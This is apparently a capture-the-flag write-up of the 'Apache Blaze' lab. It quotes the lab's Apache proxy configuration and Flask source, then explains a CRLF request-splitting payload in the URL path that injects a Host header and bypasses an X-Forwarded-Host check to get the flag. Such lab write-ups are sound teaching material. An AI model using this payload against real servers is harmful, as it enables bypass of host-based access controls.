Apache Blaze (easy) challenge walk through

In practice this was a very easy lab to complete, mainly because there was only 1 source file which immediately revealed the vulnerability I had to exploit (request confusion), but I had some issues understanding what exactly was happening to the request so i’m going to do my best to explain it clearly.

After booting the box, I was shown this:

A very simple application with absolutely no functionality besides 4 buttons, and when clicking the first 3, I get this error:

After clicking the game 4 button, I get:

Time to look at the source code.

httpd.conf file:

ServerName _
ServerTokens Prod
ServerSignature Off

Listen 8080
Listen 1337

ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule slotmem_shm_module modules/mod_slotmem_shm.so
LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so

<VirtualHost *:1337>

    ServerName _

    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on

    RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]

    ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"

</VirtualHost>

<VirtualHost *:8080>

    ServerName _

    ProxyPass / balancer://mycluster/

    ProxyPassReverse / balancer://mycluster/

    <Proxy balancer://mycluster>
        BalancerMember http://127.0.0.1:8081 route=127.0.0.1
        BalancerMember http://127.0.0.1:8082 route=127.0.0.1
        ProxySet stickysession=ROUTEID
        ProxySet lbmethod=byrequests
    </Proxy>

</VirtualHost>

There are a couple things going on here: apache is listening on 2 TCP ports (1337 and 8080) and it is loading the mod_proxy module which according to the apache documentation ”… implement a proxy/gateway…”. Naturally I had to read the documentation to better understand what was going on. Essentially, requests that arrive on port 1337 and that match /api/games/{values} are processed by the mod_rewrite module and rewritten into a new URL that looks like: http://127.0.0.1:8080/?game={value}. While apache proxies the request, it also adds forwarding headers like X-Forwarded-Host, X-Forwarded-For, etc. The request then reaches the load balancer (internal port 8080), where it will forward the request to either backend server on port 8081 or 8082.

app.py:


@app.route('/', methods=['GET'])
def index():
    game = request.args.get('game')
    if not game:
        return jsonify({
            'error': 'Empty game name is not supported!.'
        }), 400

    elif game not in app.config['GAMES']:
        return jsonify({
            'error': 'Invalid game name!'
        }), 400

    elif game == 'click_topia':
        if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
            return jsonify({
                'message': f'{app.config["FLAG"]}'
            }), 200
        else:
            return jsonify({
                'message': 'This game is currently available only from dev.apacheblaze.local.'
            }), 200
    
    else:
        return jsonify({
            'message': 'This game is currently unavailable due to internal maintenance.'
        }), 200

Evidently, in order for the flag to be returned, the X-Forwarded-Host header needs to equal ‘dev.apacheblaze.local’. I decided to run the application locally to get a better idea of the headers that were reaching the final backend. I also added this:

@app.before_request 
def log_request(): 
	headers = "\\n".join(f" {k}: {v}" for k, v in request.headers.items()) 
	
	print(f""
		Headers: {headers} 
	)
	

So when I made a normal request I saw this:

Headers:
    Host: 127.0.0.1:8082
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Sec-Gpc: 1
    Accept-Language: en-US,en;q=0.8
    Referer: http://apacheblaze.test:1337/
    Accept-Encoding: gzip, deflate
    Dnt: 1
    X-Forwarded-For: 172.17.0.1, 127.0.0.1
    X-Forwarded-Host: apacheblaze.test:1337, 127.0.0.1:8080
    X-Forwarded-Server: _, _
    Connection: Keep-Alive

The proxy added the following headers: X-Forwarded-For, X-Forwarded-Host and X-Forwarded-Server. Since the X-Forwarded-Host and X-Forwarded-For contains 2 comma separated values, we can infer that both the load balancer and the proxy gateway add their own headers. Unfortunately, simply adding my own X-Forwarded-Host header in the initial request will not solve this lab, because Apache will still append it’s own header values, and this line:

if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
	return jsonify({
	'message': f'{app.config["FLAG"]}'
	} ), 200

will not return true since dev.apacheblaze.local is not equal to dev.apacheblaze.local, apacheblaze.test:1337, 127.0.0.1:8080 . Therefore, I needed to find a way to avoid apache from appending it’s own values, and I tried using CRLF to inject my own Host header and I came up with this payload:

GET /api/games/click_topia%20HTTP/1.1%0d%0AHost:%20dev.apacheblaze.local%0d%0a%0d%0a HTTP/1.1

Payload explanation:

%20 -> URL-encoded space (http syntax requires a space between the URL and protocol version) %0D%0A -> URL-encoded CRLF token (new line)
Host:%20dev.apacheblaze.local -> injecting a fake host header
%0d%0a%0d%0a -> double CRLF which tells apache that the header is terminated.

When Apache receives a request, it processes it and decodes it into an internal representation. The URL encoded CRLF in the path will get decodxed into a real line break.

GET /api/games/click_topia HTTP/1.1
Host: dev.apacheblaze.local

HTTP/1.1
... remaining headers

Important note: at this point apache does not work with the full request, but instead something called a request_rec object which is a structured object containing many additional fields see here, but for simplicity’s sake, thinking of it like this worked for me.

Due to the injected \r\n after the injected Host header, the header section is logically terminated. As a result, when Apache serializes the backend-facing request it stops sending headers at this boundary and does not include the internally added proxy headers in the request sent to the load balancer.

The request that reaches the load balancer will then look like this:

GET /api/games/click_topia HTTP/1.1
Host: dev.apacheblaze.local

Evidently without the headers that apache appended. The remaining headers that came after the double CRLF will then likely be discarded because they do not follow valid HTTP syntax any longer.

For the load balancer, this is a perfectly valid request, and it will also add it’s own X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Server headers as we can see by looking at the request that reaches the backend:

Headers:
    Host: 127.0.0.1:8081
    X-Forwarded-For: 127.0.0.1
    X-Forwarded-Host: dev.apacheblaze.local
    X-Forwarded-Server: _
    Connection: Keep-Alive

And now finally this line is true and the flag is returned:

if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
	return jsonify({
	'message': f'{app.config["FLAG"]}'
	}), 200

Final note: if this does not seem very intuitive or you don’t understand what happens under the hood, I recommend building a small HTTP server completely from scratch so you understand byte stream processing, parsing and request reconstruction from a lower level. I am currently working on my own and will link it under /projects once I have completed it.